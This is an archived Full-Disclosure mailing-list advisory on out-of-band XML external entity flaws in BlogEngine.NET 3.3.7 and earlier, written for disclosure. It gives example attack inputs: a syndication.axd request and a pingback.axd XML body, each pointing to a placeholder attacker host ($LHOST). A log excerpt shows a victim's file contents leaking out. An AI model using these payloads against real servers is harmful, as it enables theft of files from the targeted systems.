lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening PHC | |
Open Source and information security mailing list archives
| ||
|
Date: Wed, 19 Jun 2019 17:43:03 -0600 From: aaron bishop <abishop@...ux.com> To: fulldisclosure@...lists.org Subject: [FD] BlogEngine.Net XXE issues BlogEngine.NET, versions 3.3.7 and earlier, are vulnerable to an Out-of-band XXE attack through syndication.axd and pingback.axd. *syndication.axd *accepts an external xml as the value for apml through a request such as: http://$RHOST/blog/syndication.axd?*apml=http://$LHOST/oob.xml* *pingback.axd* will parse a POST with an XML body, such as: <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://$LHOST/ex.dtd"> <foo>&e1;</foo> <methodName>pingback.ping</methodName> <methodName>pingback.ping</methodName> is required in the body for the XML to be parsed. An Out-of-band XXE attack results in the XML parser sending the contents of a file on the victim to the attack as part of a request such as: $RHOST - - [01/Apr/2019:16:34:40 -0600] "GET /EX?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1%0D%0A[MCI%20Extensions.BAK]%0D%0A3g2=MPEGVideo%0D%0A3gp=MPEGVideo%0D%0A3gp2=MPEGVideo%0D%0A3gpp=MPEGVideo%0D%0Aaac=MPEGVideo%0D%0Aadt=MPEGVideo%0D%0Aadts=MPEGVideo%0D%0Am2t=MPEGVideo%0D%0Am2ts=MPEGVideo%0D%0Am2v=MPEGVideo%0D%0Am4a=MPEGVideo%0D%0Am4v=MPEGVideo%0D%0Amod=MPEGVideo%0D%0Amov=MPEGVideo%0D%0Amp4=MPEGVideo%0D%0Amp4v=MPEGVideo%0D%0Amts=MPEGVideo%0D%0Ats=MPEGVideo%0D%0Atts=MPEGVideo HTTP/1.1" 404 438 "-" "-" Disclosure at: https://www.securitymetrics.com/blog/blogenginenet-xml-external-entity-attacks _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists